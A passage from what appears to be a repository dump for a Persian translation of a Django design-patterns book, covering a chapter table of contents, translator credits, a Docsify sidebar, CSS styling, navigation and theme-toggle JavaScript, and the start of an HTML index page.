[Migrations](/03-%20Models/README.md#%D9%85%D9%87%D8%A7%D8%AC%D8%B1%D8%AA%D9%87%D8%A7-migrations)\n  - [نتیجه‌گیری](/03-%20Models/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/04-%20Views%20and%20URLs/README.md#%D9%88%DB%8C%D9%88%D9%87%D8%A7-%D9%88-url%D9%87%D8%A7\">Views and URLs</a></summary>\n  <br>\n\n  - [یک ویو از بالا](/04-%20Views%20and%20URLs/README.md#%D9%86%DA%AF%D8%A7%D9%87%DB%8C-%D8%A8%D9%87-%D9%88%DB%8C%D9%88-%D8%A7%D8%B2-%D8%A8%D8%A7%D9%84%D8%A7)\n  - [ویوهای عمومی مبتنی بر کلاس ](/04-%20Views%20and%20URLs/README.md#%D9%88%DB%8C%D9%88%D9%87%D8%A7%DB%8C-%D8%B9%D9%85%D9%88%D9%85%DB%8C-%D9%85%D8%A8%D8%AA%D9%86%DB%8C-%D8%A8%D8%B1-%DA%A9%D9%84%D8%A7%D8%B3)\n  - [View mixin ها](/04-%20Views%20and%20URLs/README.md#%D9%85%DB%8C%DA%A9%D8%B3%DB%8C%D9%86%D9%87%D8%A7%DB%8C-%D9%88%DB%8C%D9%88)\n  - [Decorator ها ](/04-%20Views%20and%20URLs/README.md#%D8%AF%DA%A9%D9%88%D8%B1%D8%A7%D8%AA%D9%88%D8%B1%D9%87%D8%A7)\n  - [الگوهای ویو ](/04-%20Views%20and%20URLs/README.md#%D8%A7%D9%84%DA%AF%D9%88%D9%87%D8%A7%DB%8C-%D9%88%DB%8C%D9%88)\n  - [طراحی URLها](/04-%20Views%20and%20URLs/README.md#%D8%B7%D8%B1%D8%A7%D8%AD%DB%8C-%DA%A9%D8%B1%D8%AF%D9%86-url%D9%87%D8%A7)\n  - [React.js, Vue.js, و دیگر جایگزین‌های ویو](/04-%20Views%20and%20URLs/README.md#reactjs-vuejs-%D9%88-%D8%AF%DB%8C%DA%AF%D8%B1-%D9%88%DB%8C%D9%88%D9%87%D8%A7%DB%8C-%D8%AC%D8%A7%DB%8C%DA%AF%D8%B2%DB%8C%D9%86)\n  - [نتیجه‌گیری](/04-%20Views%20and%20URLs/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n\n<details>\n  <summary><a href=\"/05-%20Templates/README.md#%DB%B5-%D8%AA%D9%85%D9%BE%D9%84%DB%8C%D8%AA%D9%87%D8%A7\">قالب‌ها</a></summary>\n  <br>\n\n  - [فهمیدن ویژگی‌های زبان قالب جنگو](/05-%20Templates/README.md#%D8%AF%D8%B1%DA%A9-%D9%88%DB%8C%DA%98%DA%AF%DB%8C%D9%87%D8%A7%DB%8C-%D8%B2%D8%A8%D8%A7%D9%86-%D8%AA%D9%85%D9%BE%D9%84%DB%8C%D8%AA-%D8%AC%D9%86%DA%AF%D9%88)\n  - [Jinja2](/05-%20Templates/README.md#%D8%AC%DB%8C%D9%86%D8%AC%D8%A7-%DB%B2)\n  - [سازمان‌ دادن قالب‌ها](/05-%20Templates/README.md#%D8%B3%D8%A7%D8%B2%D9%85%D8%A7%D9%86%D8%AF%D9%87%DB%8C-%D8%AA%D9%85%D9%BE%D9%84%DB%8C%D8%AA%D9%87%D8%A7)\n  - [قالب‌ها چگونه کار می‌کنند؟ ](/05-%20Templates/README.md#%D8%AA%D9%85%D9%BE%D9%84%DB%8C%D8%AA%D9%87%D8%A7-%DA%86%DA%AF%D9%88%D9%86%D9%87-%DA%A9%D8%A7%D8%B1-%D9%85%DB%8C%DA%A9%D9%86%D9%86%D8%AF)\n  - [استفاده از Bootstrap](/05-%20Templates/README.md#%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D8%A7%D8%B2-%D8%A8%D9%88%D8%AA%D8%B3%D8%AA%D8%B1%D9%BE)\n  - [الگوهای قالب](/05-%20Templates/README.md#%D8%A7%D9%84%DA%AF%D9%88%D9%87%D8%A7%DB%8C-%D8%AA%D9%85%D9%BE%D9%84%DB%8C%D8%AA)\n  - [نتیجه‌گیری](/05-%20Templates/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/06-%20Admin%20Interface/README.md#%D9%81%D8%B5%D9%84-%DB%B6---%D8%B1%D8%A7%D8%A8%D8%B7-%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1%DB%8C-%D8%A7%D8%AF%D9%85%DB%8C%D9%86\">رابط ادمین</a></summary>\n  <br>\n\n  - [استفاده از رابط ادمین](/06-%20Admin%20Interface/README.md#%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D8%A7%D8%B2-%D8%B1%D8%A7%D8%A8%D8%B7-%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1%DB%8C-%D8%A7%D8%AF%D9%85%DB%8C%D9%86)\n  - [گسترش دادن مدلها برای ادمین](/06-%20Admin%20Interface/README.md#%D8%A8%D9%87%DB%8C%D9%86%D9%87-%D8%B3%D8%A7%D8%B2%DB%8C-%D9%85%D8%AF%D9%84-%D9%87%D8%A7-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%A8%D8%AE%D8%B4-%D8%A7%D8%AF%D9%85%DB%8C%D9%86)\n  - [سفارشی‌سازی‌های رابط ادمین](/06-%20Admin%20Interface/README.md#%D8%B3%D9%81%D8%A7%D8%B1%D8%B4%DB%8C-%D8%B3%D8%A7%D8%B2%DB%8C-%D8%B1%D8%A7%D8%A8%D8%B7-%D9%85%D8%AF%DB%8C%D8%B1%DB%8C%D8%AA)\n  - [محافظت از ادمین](/06-%20Admin%20Interface/README.md#%D8%AD%D9%81%D8%A7%D8%B8%D8%AA-%D8%A7%D8%B2-%D8%A7%D8%AF%D9%85%DB%8C%D9%86)\n  - [نتیجه‌گیری](/06-%20Admin%20Interface/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/07-%20Forms/README.md#%D9%81%D8%B1%D9%85-%D9%87%D8%A7-\">فرم‌ها</a></summary>\n  <br>\n\n  - [فرم‌ها چگونه کار می‌کنند؟](/07-%20Forms/README.md#%D9%81%D8%B1%D9%85-%D9%87%D8%A7-%DA%86%DA%AF%D9%88%D9%86%D9%87-%DA%A9%D8%A7%D8%B1-%D9%85%DB%8C-%DA%A9%D9%86%D9%86%D8%AF)\n  - [نمایش فرم‌ها](/07-%20Forms/README.md#%D9%86%D9%85%D8%A7%DB%8C%D8%B4-%D9%81%D8%B1%D9%85-%D9%87%D8%A7-)\n  - [درک‌ کردن CSRF](/07-%20Forms/README.md#%D8%A2%D8%B4%D9%86%D8%A7%DB%8C%DB%8C-%D8%A8%D8%A7-csrf)\n  - [پردازش فرم با ویوهای مبتنی بر کلاس](/07-%20Forms/README.md#%D9%BE%D8%B1%D8%AF%D8%A7%D8%B2%D8%B4-%D9%81%D8%B1%D9%85-%D9%87%D8%A7-%D8%A8%D8%A7-class-based-view--cbv-)\n  - [الگوهای فرم](/07-%20Forms/README.md#%D8%A7%D9%84%DA%AF%D9%88%D9%87%D8%A7%DB%8C-%D9%81%D8%B1%D9%85--)\n  - [نتیجه‌گیری](/07-%20Forms/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/08-%20Working%20Asynchronously/README.md#%D9%81%D8%B5%D9%84-8-%DA%A9%D8%A7%D8%B1%DA%A9%D8%B1%D8%AF%D9%86-%D8%A8%D9%87-%D8%B5%D9%88%D8%B1%D8%AA-%D9%86%D8%A7%D9%87%D9%85%D8%B2%D9%85%D8%A7%D9%86\">کار کردن به صورت ناهمزمان</a></summary>\n  <br>\n\n  - [چرا ناهمزمانی؟](/08-%20Working%20Asynchronously/README.md#%DA%86%D8%B1%D8%A7-%D9%86%D8%A7%D9%87%D9%85%D8%B2%D9%85%D8%A7%D9%86%DB%8C)\n  - [الگوهای ناهمزمانی](/08-%20Working%20Asynchronously/README.md#%D9%BE%D8%AA%D8%B1%D9%86-%D9%87%D8%A7-%D9%88-%D8%A7%D9%84%DA%AF%D9%88%D9%87%D8%A7%DB%8C-%D9%86%D8%A7%D9%87%D9%85%D8%B2%D9%85%D8%A7%D9%86%DB%8Casynchronous-patterns)\n  - [راه‌حل‌های ناهمزمانی برای جنگو](/08-%20Working%20Asynchronously/README.md#%D8%B1%D8%A7%D9%87-%D8%AD%D9%84-%D9%87%D8%A7%DB%8C-%D9%86%D8%A7%D9%87%D9%85%D8%B2%D9%85%D8%A7%D9%86%DB%8C-%D8%AF%D8%B1-%D8%AC%D9%86%DA%AF%D9%88)\n  - [نتیجه‌گیری](/08-%20Working%20Asynchronously/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/09-%20Creating%20APIs/README.md#%D8%A7%DB%8C%D8%AC%D8%A7%D8%AF-api%D9%87%D8%A7\">ایجاد APIها</a></summary>\n  <br>\n\n  - [RESTful API](/09-%20Creating%20APIs/README.md#restful-api)\n  - [Django Rest Framework](/09-%20Creating%20APIs/README.md#%D9%81%D8%B1%DB%8C%D9%85%D9%88%D8%B1%DA%A9-%D8%B1%D8%B3%D8%AA-%D8%AC%D9%86%DA%AF%D9%88)\n  - [الگوهای API](/09-%20Creating%20APIs/README.md#%D8%A7%D9%84%DA%AF%D9%88%D9%87%D8%A7%DB%8C-api)\n  - [نتیجه‌گیری](/09-%20Creating%20APIs/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/10-%20Dealing%20with%20Legacy%20Code/README.md#%D8%B3%D8%B1%D9%88-%DA%A9%D8%A7%D8%B1-%D8%AF%D8%A7%D8%B4%D8%AA%D9%86-%D8%A8%D8%A7-%DA%A9%D8%AF-%D9%85%D9%88%D8%B1%D8%AB%DB%8C\">سر و کار داشتن با کد میراثی</a></summary>\n  <br>\n\n  - [پیدا کردن ورژن جنگو](/10-%20Dealing%20with%20Legacy%20Code/README.md#%DB%8C%D8%A7%D9%81%D8%AA%D9%86-%D9%86%D8%B3%D8%AE%D9%87-%D8%AC%D9%86%DA%AF%D9%88)\n  - [فایل‌ها کجا هستند؟ این PHP نیست](/10-%20Dealing%20with%20Legacy%20Code/README.md#%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7-%DA%A9%D8%AC%D8%A7-%D9%87%D8%B3%D8%AA%D9%86%D8%AF-%D8%A7%DB%8C%D9%86-php-%D9%86%DB%8C%D8%B3%D8%AA)\n  - [شروع با urls.py](/10-%20Dealing%20with%20Legacy%20Code/README.md#%D8%B4%D8%B1%D9%88%D8%B9-%D8%A8%D8%A7-urlspy)\n  - [پرش در اطراف کد](/10-%20Dealing%20with%20Legacy%20Code/README.md#%D9%BE%D8%B1%D8%B4-%D8%AF%D8%B1-%D8%A7%D8%B7%D8%B1%D8%A7%D9%81-%DA%A9%D8%AF)\n  - [درک کردن پایه‌ی کد](/10-%20Dealing%20with%20Legacy%20Code/README.md#%D8%AF%D8%B1%DA%A9-%DA%A9%D8%B1%D8%AF%D9%86-%D9%BE%D8%A7%DB%8C%D9%87%DB%8C-%DA%A9%D8%AF)\n  - [تغییرات افزایشی یا نوشتن مجدد به صورت کامل؟](/10-%20Dealing%20with%20Legacy%20Code/README.md#%D8%AA%D8%BA%DB%8C%DB%8C%D8%B1%D8%A7%D8%AA-%D8%A7%D9%81%D8%B2%D8%A7%DB%8C%D8%B4%DB%8C-%DB%8C%D8%A7-%D9%86%D9%88%D8%B4%D8%AA%D9%86-%D9%85%D8%AC%D8%AF%D8%AF-%D8%A8%D9%87-%D8%B5%D9%88%D8%B1%D8%AA-%DA%A9%D8%A7%D9%85%D9%84)\n  - [تست نوشتن قبل از ایجاد هرگونه تغییر](/10-%20Dealing%20with%20Legacy%20Code/README.md#%D8%AA%D8%B3%D8%AA-%D9%86%D9%88%D8%B4%D8%AA%D9%86-%D9%82%D8%A8%D9%84-%D8%A7%D8%B2-%D8%A7%DB%8C%D8%AC%D8%A7%D8%AF-%D9%87%D8%B1%DA%AF%D9%88%D9%86%D9%87-%D8%AA%D8%BA%DB%8C%DB%8C%D8%B1)\n  - [یکپارچگی دیتابیس میراثی](/10-%20Dealing%20with%20Legacy%20Code/README.md#%DB%8C%DA%A9%D9%BE%D8%A7%D8%B1%DA%86%DA%AF%DB%8C-%D8%AF%DB%8C%D8%AA%D8%A7%D8%A8%DB%8C%D8%B3-%D9%85%DB%8C%D8%B1%D8%A7%D8%AB%DB%8C)\n  - [تصحیح آینده](/10-%20Dealing%20with%20Legacy%20Code/README.md#%D8%A2%DB%8C%D9%86%D8%AF%D9%87-%D9%86%DA%AF%D8%B1%DB%8C3--future-proof)\n  - [نتیجه‌گیری](/10-%20Dealing%20with%20Legacy%20Code/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/11-%20Testing%20and%20Debugging/README.md#%D8%AA%D8%B3%D8%AA-%DA%A9%D8%B1%D8%AF%D9%86-%D9%88-%D8%B1%D9%81%D8%B9-%D9%85%D8%B4%DA%A9%D9%84\">تست کردن و دیباگ کردن</a></summary>\n  <br>\n\n  - [چرا تست بنویسیم؟](/11-%20Testing%20and%20Debugging/README.md#%DA%86%D8%B1%D8%A7-%D8%AA%D8%B3%D8%AA-%D8%A8%D9%86%D9%88%DB%8C%D8%B3%DB%8C%D9%85)\n  - [TDD](/11-%20Testing%20and%20Debugging/README.md#%D8%B1%D9%88%DB%8C%DA%A9%D8%B1%D8%AF-tdd)\n  - [یک نمونه تست نوشتن](/11-%20Testing%20and%20Debugging/README.md#%D9%86%D9%88%D8%B4%D8%AA%D9%86-%DB%8C%DA%A9-%D8%AA%D8%B3%D8%AA-%D9%85%D9%88%D8%B6%D9%88%D8%B9%DB%8C)\n  - [Mocking](/11-%20Testing%20and%20Debugging/README.md#%D8%AA%D9%82%D9%84%DB%8C%D8%AF-%DA%A9%D8%B1%D8%AF%D9%86)\n  - [Pattern - Test fixtures and factories](/11-%20Testing%20and%20Debugging/README.md#%D8%A7%D9%84%DA%AF%D9%88--%D8%AA%D8%B3%D8%AA-%DA%A9%D8%B1%D8%AF%D9%86-%D8%A8%D8%A7-%D8%AA%D8%AC%D9%87%DB%8C%D8%B2%D8%A7%D8%AA-fixture-%D9%88-%DA%A9%D8%A7%D8%B1%D8%AE%D8%A7%D9%86%D9%87%D9%87%D8%A7-factory)\n  - [آموختن بیشتر درباره‌ی تست کردن](/11-%20Testing%20and%20Debugging/README.md#%D9%BE%DB%8C%D8%B4%D8%A8%DB%8C%D9%86%DB%8C%D9%87%D8%A7%DB%8C-%D9%88%D8%AD%D8%B4%D8%AA%D9%86%D8%A7%DA%A9)\n  - [دیباگ کردن](/11-%20Testing%20and%20Debugging/README.md#%D8%B1%D9%81%D8%B9-%D8%A7%D8%B4%DA%A9%D8%A7%D9%84)\n  - [تابع پرینت](/11-%20Testing%20and%20Debugging/README.md#%D9%81%D8%A7%D9%86%DA%A9%D8%B4%D9%86-%D9%BE%D8%B1%DB%8C%D9%86%D8%AA)\n  - [Logging](/11-%20Testing%20and%20Debugging/README.md#%D9%84%D8%A7%DA%AF-%DA%A9%D8%B1%D8%AF%D9%86)\n  - [نوار ابزار دیباگ جنگو](/11-%20Testing%20and%20Debugging/README.md#%D9%BE%DA%A9%DB%8C%D8%AC-django-debug-toolbar)\n  - [The Python debugger pdb ](/11-%20Testing%20and%20Debugging/README.md#%D8%B9%DB%8C%D8%A8%DB%8C%D8%A7%D8%A8-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86%DB%8C-pdb)\n  - [بقیه‌ی دیباگرها](/11-%20Testing%20and%20Debugging/README.md#%D8%B3%D8%A7%DB%8C%D8%B1-%D8%B9%DB%8C%D8%A8%DB%8C%D8%A7%D8%A8%D9%87%D8%A7)\n  - [دیباگ کردن قالب‌های جنگو](/11-%20Testing%20and%20Debugging/README.md#%D8%B9%DB%8C%D8%A8%DB%8C%D8%A7%D8%A8%DB%8C-%D8%AF%D8%B1-%D8%AA%D9%85%D9%BE%D9%84%DB%8C%D8%AA%D9%87%D8%A7%DB%8C-%D8%AC%D9%86%DA%AF%D9%88)\n  - [نتیجه‌گیری](/11-%20Testing%20and%20Debugging/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/12-%20Security/README.md#%D8%A7%D9%85%D9%86%DB%8C%D8%AA\">امنیت</a></summary>\n  <br>\n\n  - [Cross-site scripting](/12-%20Security/README.md#cross-site-scripting)\n  - [Cross-site request forgery](/12-%20Security/README.md#%D8%AC%D8%B9%D9%84-%D9%87%D8%A7%DB%8C-%D8%AF%D8%B1%D8%AE%D9%88%D8%A7%D8%B3%D8%AA-%D8%A8%DB%8C%D9%86-%D8%B3%D8%A7%DB%8C%D8%AA%DB%8Ccross-site-request-forgery)\n  - [SQL injection](/12-%20Security/README.md#%D8%AA%D8%B2%D8%B1%DB%8C%D9%82-sql-sql-injection)\n  - [Clickjacking](/12-%20Security/README.md#%D8%AF%D8%B2%D8%AF%DB%8C-%DA%A9%D9%84%DB%8C%DA%A9-clickjacking)\n  - [Shell injection](/12-%20Security/README.md#%D8%AA%D8%B2%D8%B1%DB%8C%D9%82-%D8%AF%D8%B3%D8%AA%D9%88%D8%B1%D8%A7%D8%AA-%D8%B3%DB%8C%D8%B3%D8%AA%D9%85-%D8%B9%D8%A7%D9%85%D9%84-shell-injection)\n  - [یک چک‌لیست دم‌دستی امنیت](/12-%20Security/README.md#%DB%8C%DA%A9-%DA%86%DA%A9-%D9%84%DB%8C%D8%B3%D8%AA-%D8%A7%D9%85%D9%86%DB%8C%D8%AA%DB%8C-%D9%85%D9%81%DB%8C%D8%AF)\n  - [نتیجه‌گیری](/12-%20Security/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/13-%20Production-Ready/README.md#%D8%A2%D9%85%D8%A7%D8%AF%D9%87-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%AA%D9%88%D9%84%DB%8C%D8%AF\">آمادگی برای محیط پروداکشن</a></summary>\n  <br>\n\n  - [محیط پروداکشن](/13-%20Production-Ready/README.md#%D9%85%D8%AD%DB%8C%D8%B7-%D8%AA%D9%88%D9%84%DB%8C%D8%AF-%D9%88-%D9%BE%D8%B1%D9%88%D8%AF%D8%A7%DA%A9%D8%B4%D9%86)\n  - [ماشین‌های مجازی یا داکر](/13-%20Production-Ready/README.md#%D9%85%D8%A7%D8%B4%DB%8C%D9%86%D9%87%D8%A7%DB%8C-%D9%85%D8%AC%D8%A7%D8%B2%DB%8C-%DB%8C%D8%A7-%D8%AF%D8%A7%DA%A9%D8%B1)\n  - [میزبانی](/13-%20Production-Ready/README.md#%D9%85%DB%8C%D8%B2%D8%A8%D8%A7%D9%86%DB%8C-%D9%88-%D9%87%D8%A7%D8%B3%D8%AA%DB%8C%D9%86%DA%AF)\n  - [ابزارهای استقرار](/13-%20Production-Ready/README.md#%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1%D9%87%D8%A7%DB%8C-%D8%A7%D8%B3%D8%AA%D9%82%D8%B1%D8%A7%D8%B1-%D8%B3%D8%A7%D8%B2%DB%8C-%D9%88-%D8%AF%DB%8C%D9%BE%D9%84%D9%88%DB%8C)\n  - [نظارت](/13-%20Production-Ready/README.md#%D9%85%D8%A7%D9%86%DB%8C%D8%AA%D9%88%D8%B1%DB%8C%D9%86%DA%AF)\n  - [افزایش کارایی](/13-%20Production-Ready/README.md#%D8%A8%D9%87%D8%A8%D9%88%D8%AF-%DA%A9%D8%A7%D8%B1%D8%A7%DB%8C%DB%8C)\n  - [نتیجه‌گیری](/13-%20Production-Ready/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/Appendix%20A%20%20Python%202%20Versus%20Python%203/README.md#%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-2-%D8%AF%D8%B1-%D9%85%D9%82%D8%A7%D8%A8%D9%84-%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-3\">ضمیمه‌ی A: پایتون ۲ در برابر پایتون ۳</a></summary>\n  <br>\n\n  - [پایتون ۳](/Appendix%20A%20%20Python%202%20Versus%20Python%203/README.md#%D9%BE%D8%A7%DB%8C%D8%AA%D9%88%D9%86-3)\n  - [اطلاعات بیشتر](/Appendix%20A%20%20Python%202%20Versus%20Python%203/README.md#%D8%A7%D8%B7%D9%84%D8%A7%D8%B9%D8%A7%D8%AA-%D8%A8%DB%8C%D8%B4%D8%AA%D8%B1)\n\n</details>\n\n\n\n\n\n\n| تاریخ اتمام ترجمه |       مترجم      |                    فصل             |\n|:-----------------:|:----------------:|:----------------------------------:|\n|        اتمام           |  محمدامیر لطفی پور       |01- Django and Patterns             |\n|         اتمام     |  Rahimz       |02- Application Design              |\n|           اتمام         |  Rahimz       |03- Models                          |\n|         اتمام          |  Hamed Daneshvar       |04- Views and URLs                  |\n|            اتمام       |  Rahimz        |05- Templates                       |\n|            اتمام     |  sajjad ebrahimi moghaddam        |06- Admin Interface                 |\n|             اتمام      |  amirajoodani        |07- Forms                           |\n|            اتمام        |  Khalil Farashiani       |08- Working Asynchronously          |\n|          اتمام         |  Hamed Daneshvar       |09- Creating APIs                   |\n|              اتمام     |  Fereydoon jafari babookani       |10- Dealing with Legacy Code        |\n|            اتمام       |  Rahimz       |11- Testing and Debugging           |\n|            اتمام       |  Mohammad Amin Orojloo       |12- Security                        |\n|         اتمام       |  mokarramis        |13- Production-Ready                |\n|              اتمام     |  Hamed Alizade       |Appendix A: Python 2 Versus Python 3|\n\n</div>\n\n## ممنون از افرادی که در ترجمه این کتاب مشارکت داشتند :heart:\n\n[![People](https://contrib.rocks/image?repo=ftg-iran/ddpabp-persian)](https://github.com/ftg-iran/ddpabp-persian/graphs/contributors)\n"
  },
  {
    "path": "_sidebar.md",
    "content": "- [Home](/)\n\n- [01 - Django and Patterns](01-Django-and-Patterns/README.md)\n- [02 - Application Design](02-ApplicationDesign/README.md)\n- [03 - Models](03-Models/README.md)\n- [04 - Views and URLs](04-Views-and-URLs/README.md)\n- [05 - Templates](05-Templates/README.md)\n- [06 - Admin Interface](06-AdminInterface/README.md)\n- [07 - Forms](07-Forms/README.md)\n- [08 - Working Asynchronously](08-WorkingAsynchronously/README.md)\n- [09 - Creating APIs](09-CreatingAPIs/README.md)\n- [10 - Dealing with Legacy Code](10-Dealing-with-LegacyCode/README.md)\n- [11 - Testing and Debugging](11-Testing-and-Debugging/README.md)\n- [12 - Security](12-Security/README.md)\n- [13 - Production-Ready](13-Production-Ready/README.md)\n- [Appendix: Python 2 vs Python 3](Appendix-A-Python2-Versus-Python3/README.md)"
  },
  {
    "path": "custom.css",
    "content": ":root {\n  --theme-color: #3f51b5;\n  --accent-color: #ff4081;\n  --border-color: #e0e0e0;\n}\n\nbody { \n  font-family: \"Rubik\", sans-serif;\n  font-optical-sizing: auto;\n  font-weight: 400;\n  font-style: normal;\n  transition: background-color 0.3s ease;\n}\n\n/* Theme toggle button */\n#theme-toggle {\n  position: fixed;\n  bottom: 100px;\n  right: 20px;\n  width: 40px;\n  height: 40px;\n  border-radius: 50%;\n  background: var(--theme-color);\n  color: white;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  cursor: pointer;\n  z-index: 999;\n  box-shadow: 0 2px 5px rgba(0,0,0,0.2);\n  font-size: 1.2rem;\n  transition: all 0.3s ease;\n}\n\n#theme-toggle:hover {\n  transform: scale(1.1);\n}\n\n/* Navigation buttons */\n.nav-buttons {\n  margin: 3rem 0;\n  padding: 1.5rem 1rem;\n  display: flex;\n  justify-content: space-between;\n}\n\n.nav-button {\n  padding: 0.6rem 1.2rem;\n  border-radius: 4px;\n  background: var(--theme-color);\n  color: white !important;\n  text-decoration: none !important;\n  transition: all 0.3s ease;\n  display: inline-block;\n}\n\n.nav-button:hover {\n  background: var(--accent-color);\n  transform: translateY(-2px);\n  box-shadow: 0 2px 8px rgba(0,0,0,0.1);\n}\n\n/* Dark mode specific styles */\n.dark {\n  --border-color: #444;\n}\n\n.dark .nav-button {\n  background: var(--accent-color);\n}\n\n.dark .nav-button:hover {\n  background: #ff2674;\n}\n\n/* Existing sidebar styles (keep these) */\n.sidebar {\n  width: 280px !important;\n  padding: 20px !important;\n}\n\n.sidebar-nav {\n  padding: 0 !important;\n}\n\n.sidebar-nav li {\n  margin: 0.5rem 0;\n}\n\n.sidebar-nav a {\n  border-radius: 4px;\n  padding: 6px 10px !important;\n  transition: all 0.2s ease;\n}\n\n.sidebar-nav a:hover {\n  background: rgba(var(--theme-color), 0.1);\n}\n\n.markdown-section {\n  max-width: 900px;\n  padding: 2rem 3rem;\n  direction: rtl;\n}\n\n.dark .sidebar {\n  background-color: #1e1e1e !important;\n}\n\n.dark .sidebar-nav a {\n  color: #e0e0e0 !important;\n}\n\ncode {\n  direction: ltr;\n}"
  },
  {
    "path": "custom.js",
    "content": "\n\n// Docsify configuration\nwindow.$docsify = {\n  name: 'Django Design Patterns and Best Practices',\n  loadSidebar: true,\n  themeColor: '#3f51b5',\n  search: {\n    paths: 'auto',\n    placeholder: 'Search...'\n  },\n  alias: {\n    '/.*/_sidebar.md': '/_sidebar.md'\n  },\n  markdown: {\n      tables: true  // Explicitly enable tables\n  },\n  plugins: [\n    function(hook) {\n      hook.doneEach(function() {\n        if (!buttonsExist) {\n          updateNavigationButtons();\n        }\n        if (!document.getElementById('theme-toggle')) {\n          addThemeToggle();\n        }\n      });\n    }\n  ]\n};\n\n\n// Book structure - update this when adding new chapters\nconst bookStructure = [\n  '#/01-Django-and-Patterns/README',\n  '#/02-ApplicationDesign/README',\n  '#/03-Models/README',\n  '#/04-Views-and-URLs/README',\n  '#/05-Templates/README',\n  '#/06-AdminInterface/README',\n  '#/07-Forms/README',\n  '#/08-WorkingAsynchronously/README',\n  '#/09-CreatingAPIs/README',\n  '#/10-Dealing-with-LegacyCode/README',\n  '#/11-Testing-and-Debugging/README',\n  '#/12-Security/README',\n  '#/13-Production-Ready/README',\n  '#/Appendix-A-Python2-Versus-Python3/README',\n];\n\n// Theme initialization on load\ndocument.addEventListener('DOMContentLoaded', setInitialTheme);\n\n// Global variable to track if buttons exist\nlet buttonsExist = false;\n\n// Updated navigation function\nfunction updateNavigationButtons() {\n  const currentHash = window.location.hash.split('?')[0];\n  const currentIndex = bookStructure.findIndex(path => currentHash === path);\n  \n  // Remove existing buttons if they exist\n  const oldButtons = document.querySelector('.nav-buttons');\n  if (oldButtons) {\n    oldButtons.remove();\n    buttonsExist = false;\n  }\n\n  if (currentIndex >= 0) {\n    const navHtml = `\n      <div class=\"nav-buttons\">\n        ${currentIndex > 0 ? \n          `<a href=\"${bookStructure[currentIndex-1]}\" class=\"nav-button prev-button\">← Previous</a>` \n          : '<span></span>'}\n        ${currentIndex < bookStructure.length-1 ? \n          `<a href=\"${bookStructure[currentIndex+1]}\" class=\"nav-button next-button\">Next →</a>` \n          : ''}\n      </div>\n    `;\n    \n    const content = document.querySelector('.content');\n    if (content) {\n      content.insertAdjacentHTML('beforeend', navHtml);\n      buttonsExist = true;\n      \n      // Add click handlers after buttons are inserted\n      document.querySelector('.prev-button')?.addEventListener('click', function(e) {\n        e.preventDefault();\n        window.location.hash = bookStructure[currentIndex-1];\n        setTimeout(updateNavigationButtons, 100);\n      });\n      \n      document.querySelector('.next-button')?.addEventListener('click', function(e) {\n        e.preventDefault();\n        window.location.hash = bookStructure[currentIndex+1];\n        setTimeout(updateNavigationButtons, 100);\n      });\n    }\n  }\n}\n\n\n\n// Handle hash changes\nwindow.addEventListener('hashchange', function() {\n  buttonsExist = false;\n  updateNavigationButtons();\n});\n\n\n// Theme functions (keep these the same)\nfunction addThemeToggle() {\n  const toggle = document.createElement('div');\n  toggle.id = 'theme-toggle';\n  toggle.innerHTML = '🌓';\n  document.body.appendChild(toggle);\n  toggle.addEventListener('click', toggleTheme);\n}\n\nfunction toggleTheme() {\n  const lightTheme = document.getElementById('light-theme');\n  const darkTheme = document.getElementById('dark-theme');\n  const isDark = lightTheme.disabled;\n  \n  lightTheme.disabled = !isDark;\n  darkTheme.disabled = isDark;\n  localStorage.setItem('docsify-theme', isDark ? 'light' : 'dark');\n}\n\nfunction setInitialTheme() {\n  if (localStorage.getItem('docsify-theme') === 'dark') {\n    document.getElementById('light-theme').disabled = true;\n    document.getElementById('dark-theme').disabled = false;\n  }\n}"
  },
  {
    "path": "index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"fa\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Django Design Patterns and Best Practices</title>\n  <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">\n  <meta name=\"viewport\" content=\"width=device-width,initial-scale=1.0\">\n  <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\">\n  <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n  <link href=\"https://fonts.googleapis.com/css2?family=Rubik:ital,wght@0,300..900;1,300..900&display=swap\" rel=\"stylesheet\">\n  <!-- Theme CSS -->\n  <link rel=\"stylesheet\" href=\"//cdn.jsdelivr.net/npm/docsify/themes/vue.css\" id=\"light-theme\">\n  <link rel=\"stylesheet\" href=\"//cdn.jsdelivr.net/npm/docsify/themes/dark.css\" id=\"dark-theme\" disabled>\n  <!-- Custom CSS -->\n  <link rel=\"stylesheet\" href=\"./custom.css\">\n</head>\n<body>\n  <div 